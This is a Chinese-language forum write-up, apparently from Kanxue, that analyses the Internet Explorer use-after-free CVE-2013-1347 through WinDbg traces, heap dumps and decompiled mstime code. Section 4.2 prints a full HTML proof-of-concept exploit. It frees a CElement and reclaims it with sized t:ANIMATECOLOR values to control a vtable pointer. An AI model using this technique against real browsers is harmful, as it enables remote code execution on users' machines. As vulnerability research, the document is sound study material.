0:005> ba r4 0d0f4fc8Breakpoint 7 hiteax=0d0f4f70 ebx=00000000 ecx=00000000 edx=0d156fb0 esi=00000050 edi=0d0f4fc0eip=71d68be1 esp=0854d8e0 ebp=0854d8f0 iopl=0 nv up ei pl nz na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206mshtml!SLayoutRun::Clear+0x11:71d68be1 7403 je mshtml!SLayoutRun::Clear+0x16 (71d68be6) [br=0]0:005> kbChildEBP RetAddr Args to Child 0854d8f0 71d3650b 0bf4bfc0 0d116fa0 0854f0b0 mshtml!SLayoutRun::Clear+0x110854eff4 71d2b667 0d116fa0 07d6df30 0b87bfd8 mshtml!CTextBlock::BuildTextBlock+0xd620854f038 71d08f0a 07d6df30 0b87bfd8 0d01afc mshtml!CLayoutBlock::BuildBlock+0x1ec0854f0b8 71d08c83 0d01afc8 07d6df30 0b87bfd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d0854f0f0 71d09af4 07d6df30 00000000 0cc69fc8 mshtml!CLayoutBlock::BuildBlock+0x1c10854f1b4 71d0a4f5 01d6df30 0c122fa8 0854f1db mshtml!CCssDocumentLayout::GetPage+0x22a0854f324 71e2cc48 0854f4e8 0854f480 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x2470854f45c 71e5ce63 0c122fa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b80854f558 71d6aa21 00100000 0854f5b0 0d5d6fd8 mshtml!CLayout::DoLayout+0x11d0854f56c 71e07515 0854f5b0 0854f5b0 71e2c20c mshtml!CCssPageLayout::Notify+0x140...

所以现在位于SLayoutRun::Clear函数,是在做什么清除吗?再看一下element_array中的内容:
0:005> dd 0d0f4f70 l240d0f4f70 00000805 00000001 00000000 ffffffff0d0f4f80 00000806 00000002 00000000 ffffffff0d0f4f90 00000805 00000003 00000000 ffffffff0d0f4fa0 00000806 00000004 00000000 ffffffff0d0f4fb0 00000805 00000005 00000000 ffffffff0d0f4fc0 00000805 00000006 07a5ffc0 07a5ffb00d0f4fd0 00000802 00000007 07a5ffd8 000000000d0f4fe0 00000806 00000008 07a5ffd8 07a5ffb00d0f4ff0 00000806 00000009 0d156fd8 0d156fb0

前面几项竟然都被清除了!!
 
暂停一下,做一个整理,这篇文章我一共贴了两张图,如果你回过头去看第一张,会发现各个元素的CTreeNode结构中,记录CTextBlock的位置,f0、f1的CTextBlock和f2、CGenericElement的CTextBlock值是不一样的,而如果没有table元素,就像上面显示的,所有元素都在同一个element_array中了。
 
在调试分析offsetParent的时候,我们说IE在设置完offsetParent之后会对DOM树进行渲染,并构造相应的CTextBlock,这个说法其实不太准确,不是“构造”,而是更新。而在脚本全部执行完之后,在此渲染的时候,IE同样会更新CTextBlock。就像上面有一些清除操作。
 
接下来要仔细看一下在渲染前后,element_array的变化情况,还是回到会产生异常的那个poc脚本,因为比较好定位,最后一定会结束在异常状态。
// 垃圾回收之前// f0, f1对应的element_array0:005> dd 0d158fc00d158fc0 00000805 00000001 0d1dcfc0 0d1dcfb0 // f00d158fd0 00000806 00000002 0d1dcfd8 0d1dcfb00d158fe0 00000805 00000003 0be40fc0 0be40fb0 // f10d158ff0 00000806 00000004 0cb8dfc0 0be40fb0 // CTable0d159000 ???????? ???????? ???????? ???????? // CGenericElement对应的element_array0:005> dd 0d5dcfc00d5dcfc0 00000805 00000001 0bd1afc0 0bd1afb0 // f20d5dcfd0 00000805 00000002 0cec1fc0 0cec1fb0 // CGenericElement0d5dcfe0 00000806 00000003 0cec1fd8 0cec1fb00d5dcff0 00000806 00000004 0bd1afd8 0bd1afb00d5dd000 ???????? ???????? ???????? ????????

可以看到在存在table元素的时候,有两个不同的element_array,而且保存在不同的CTextBlock中。接下来继续执行直到发生异常:
// 发生异常之后// f0, f1对应的element_array0:005> dd 0d158fc00d158fc0 ???????? ???????? ???????? ???????? // CGenericElement对应的element_array0:005> dd 0d5dcfc00d5dcfc0 00000805 00000001 0bd1afc0 0bd1afb0 // f20d5dcfd0 00000805 00000002 0cec1fc0 0cec1fb0 // CGenericElement0d5dcfe0 00000806 00000003 0cec1fd8 0cec1fb00d5dcff0 00000806 00000004 0bd1afd8 0bd1afb00d5dd000 ???????? ???????? ???????? ????????

f0, f1对应的element_array所在的空间已经被释放了,如果检查一下对应的CTextBlock结构,会发现其中保存的element_array地址已经变了:
0:005> dd 0cb7cfa0+58 l10cb7cff8 07c72fc00:005> dd 07c72fc007c72fc0 00000805 00000001 0d1dcfc0 0d1dcfb0 // f0 element07c72fd0 00000806 00000002 0be78fc0 0d1dcfb0 // hr element07c72fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c007c72ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c007c73000 ???????? ???????? ???????? ????????

可以看到f0, f1对应的element_array内容进行了更新,现在里面只有f0和hr元素了。而f1在另一个element_array中:
0:005> dd 07c76fc007c76fc0 00000805 00000001 0be40fc0 0be40fb0 // f107c76fd0 00000806 00000002 0be40fd8 0be40fb007c76fe0 00000805 00000003 0bd1afc0 0bd1afb0 // f207c76ff0 00000806 00000004 0bd1afd8 0bd1afb007c77000 ???????? ???????? ???????? ????????

唯一的问题就在于之前f2和CGenericElement所在的element_array的空间并没有被释放,仍旧存在:
0:005> dd 0d5dcfc00d5dcfc0 00000805 00000001 0bd1afc0 0bd1afb00d5dcfd0 00000805 00000002 0cec1fc0 0cec1fb00d5dcfe0 00000806 00000003 0cec1fd8 0cec1fb00d5dcff0 00000806 00000004 0bd1afd8 0bd1afb00d5dd000 ???????? ???????? ???????? ????????

所以现在可以得出结论了,table元素导致生成了两个CTextBlock,存在两个element_array,在脚本结束后对DOM树进行渲染时,更新CTextBlock的操作存在问题,并没有对第二个CTextBlock进行更新。最终导致了对已释放空间的访问。

3.6 总结


到此为止,做一个总结:

1、创建table元素
形成两个CTextBlock,脚本执行后渲染更新CTextBlock的时候,只更新了第一个,保留了对已释放空间的引用。

2、设置offsetParent为null
更新CTextBlock,增加引用数,导致设置innerHTML的时候,不会删除CTreeNode的空间

3、清空innerHTML
清空f1和f2下面的元素,让之后的垃圾回收释放不再使用的空间

4、创建hr元素
让脚本执行后渲染DOM树时,能够重新遍历更新CTextBlock


4


漏洞利用


4.1 原理


根据文章一开始的分析,异常发生前执行的代码是:
mshtml!CElement::Doc:72adc400 8b01 mov eax,dword ptr [ecx]72adc402 8b5070 mov edx,dword ptr [eax+70h]72adc405 ffd2 call edx

现在我们已经知道,ecx寄存器中保存的是CGenericElement的CElement的地址,但是这块空间已经被释放了。所以如果能够想办法,在程序执行到这段代码之前,覆盖这块已经释放的空间,就有机会做到漏洞利用。
 
空间释放的操作发生在垃圾回收函数的调用中,所以覆盖操作要在垃圾释放之后。《漏洞战争》中介绍了t:ANIMATECOLOR元素,因为这个元素可以任意设置大小和内容,十分适合用于此次漏洞利用。

t:ANIMATECOLOR:Changes the color of an object over time.


VALUES Attribute | values Property:
Sets or retrieves a list of semicolon-separated values of an animation.
 
由于代码中,获取的是偏移为0x70处的虚函数,所以t:ANIMATECOLOR要设置0x70的长度,最后的四个字节设置为shellcode的地址。


4.2 代码

<!doctype html><HTML XMLNS:t ="urn:schemas-microsoft-com:time"><head><meta> <?IMPORT namespace="t" implementation="#default#time2"></meta> <script>function helloWorld(){ animvalues = ""; for (i=0; i <= 0x70/4; i++) { if (i == 0x70/4) { //animvalues += unescape("%u5ed5%u77c1"); animvalues += unescape("%u4141%u4141"); } else { animvalues += unescape("%u4242%u4242"); } } for(i = 0; i < 13; i++) { animvalues += ";red"; } f0 = document.createElement('span'); document.body.appendChild(f0); f1 = document.createElement('span'); document.body.appendChild(f1); f2 = document.createElement('span'); document.body.appendChild(f2); document.body.contentEditable="true"; f2.appendChild(document.createElement('datalist')); f1.appendChild(document.createElement('span')); f1.appendChild(document.createElement('table')); try{ f0.offsetParent=null; }catch(e) {} f2.innerHTML=""; f0.appendChild(document.createElement('hr')); f1.innerHTML=""; CollectGarbage(); try { a = document.getElementById('myanim'); a.values = animvalues; } catch(e) {}} </script></head><body onload="eval(helloWorld());"><t:ANIMATECOLOR id="myanim"/> </body></html>


4.3 一些疑惑


4.3.1 t:ANIMATECOLOR为什么能够覆盖已释放空间?


t:ANIMATECOLOR元素中的values保存的是指针,指向每个按照分号分隔后的字符串。因此values值中包含的分号个数就控制了程序在分配空间时的大小。而exploit代码中按照原本CGenericElement的CElement空间大小设置了values的大小,这种情况下系统肯定会优先选择大小完全一样的堆块空间分配给它,也就正好命中了已释放空间的地址。

4.3.2 虚表指针是怎么设置的?


一开始我没明白虚表指针是怎么设置的,书中写的是“用第一个分号前面的字符串覆盖虚表指针”,也没理解什么意思。
 
后来发现自己把最终animvalues的值看错了,又跟着调试了一遍上面的代码:
 
断点的设置还是跟之前都一样,开始执行之后就能获得各个元素CElement和CTreeNode的地址,执行到垃圾回收之后,就在CGenericElement的CElement地址处设置一个写断点,程序中断后看一下函数调用流程:
0:005> kbChildEBP RetAddr Args to Child 0307b9f4 738ab65f 00702b88 00000000 00000038 msvcrt!memset+0x5f0307ba54 738ae9ad 049b9898 00000008 00000000 mstime!CTIMEAnimationBase::put_values+0x23a0307baa4 76a03ec3 049b9898 00000008 00000000 mstime!CTIMEColorAnimation::put_values+0x510307bacc 76a03d3d 049b9898 00000168 00000004 OLEAUT32!DispCallFunc+0x165

所以空间的分配应该是在mstime!CTIMEAnimationBase::put_values这个函数中,程序在设置t:ANIMATECOLOR的values的值的时候还会分配一个新的空间,而不只是复制一个指针值,这解决了我的一个疑问,我一开始认为代码中为animvalues赋值的时候就已经做了空间的分配。
 
回退一下,这次在mstime!CTIMEAnimationBase::put_values设置断点,然后逐步调试,这里不再贴出调试过程,直接对应到IDA中的代码,给出注解:
HRESULT __stdcall CTIMEAnimationBase::put_values(CTIMEAnimationBase *this, struct tagVARIANT pvargSrc){ ... str_70 = (CopyString)(v13); // 这里在为values中的字符串分配空间,并进行复制 v4 = str_70; str_70_ = str_70; if... *(this + 20) = str_70; (CAttrBase::ClearString)(v3); *(this + 76) = 1; v17 = StringToTokens(v4, L";", &v22); // 识别分号,定位分割后第一个字符串 v7 = v25; *(this + 124) = v25; if... if... str_13 = ATL_malloc(v7 >> 30 != 0 ? -1 : 4 * v7);// 这里在为字符串指针分配空间 // 因为大小和CGenericElement的CElement空间大小相同,所以返回了相同地址 *(this + 125) = str_13; if ( str_13 ) { memset(str_13, 0, 4 * *(this + 124)); // 先将空间数据清空 v18 = 0; if... while ( 1 ) // 这里循环处理所有分割后的字符串 { v9 = *(4 * v18 + v26); v10 = v9[1]; v21 = *v9; *(4 * v18 + *(this + 125)) = ATL_malloc((v10 + 1) >> 31 != 0 ? -1 : 2 * (v10 + 1));// 为分割后字符串分配空间,并设置对应的字符串指针 // 第一个字符串指针就会作为虚表指针进行使用 v11 = (4 * v18 + *(this + 125)); if ( !*v11 ) break; *(*v11 + 2 * v10) = 0; StringCchCopyNW((v10 + 1), &str_70_[v21], v10, v14);// 将分割后字符串的数据复制到了上面分配的空间 if ( v15 ) { ATL::CComVariant::operator=(*(4 * v18 + *(this + 125))); if ( pvarg.lVal ) { if ( !(*(*(this - 170) + 252))(this - 680, &pvarg) ) v15 = 0; VariantClear(&pvarg); } } if ( ++v18 >= *(this + 124) ) goto LABEL_28; } }...}

上面代码中的循环结束之后,原本的已释放空间数据如下:
0:005> dda 702b88 ld00702b88 007335b8 "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"00702b8c 00788908 "r"00702b90 00788918 "r"00702b94 00788928 "r"00702b98 00788938 "r"00702b9c 00788948 "r"00702ba0 00788958 "r"00702ba4 00788968 "r"00702ba8 00788978 "r"00702bac 00788988 "r"00702bb0 00788998 "r"00702bb4 007889a8 "r"00702bb8 007889b8 "J"

可以看到已经被分割后字符串指针代替了。007335b8会被当成虚表指针。


5


总结


总的来说,这次的漏洞分析让我在IE调试上学习到了很多,也了解到了很多IE底层的知识,而且极大地锻炼了自己的耐心。自认为对于CVE-2013-1347漏洞,文章里分析的已经很透彻了,也发现了一些书中没有提到的细节。
 
至于UAF漏洞利用,原理也算是清楚了,这次的漏洞和我在上周示例代码遇到的双重释放导致的UAF差别很大,上周的异常是由于多重释放时堆块大小的计算出现问题,导致访问超出范围,现在看来这应该不是普遍会遇到的UAF的情况,但是整个调试经历,异常原因的分析也很有趣。


6


参考资料

《漏洞战争》
MASM Numbers and Operators (windbg中的命令使用MASM语法)(https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/masm-numbers-and-operators#numeric-operators-in-masm-expressions)
windbg条件断点总结(https://www.cnblogs.com/adylee/p/9425134.html)
移植自2000泄漏代码中的ie部分代码(http://www.cppblog.com/wlwlxj/archive/2011/06/01/147904.html)




 


看雪ID:LarryS

https://bbs.pediy.com/user-home-600394.htm

*本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区







# 往期推荐

1. 11个小挑战,Qiling Framework 入门上手跟练

2. VMP导入表修复

3.初探Windows调试原理和反附加手段

4. 破解某抢票软件的VPN抓包

5. 祥云杯2021 Windows R0题 Rev_APC

6. Android APK的加固方法



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存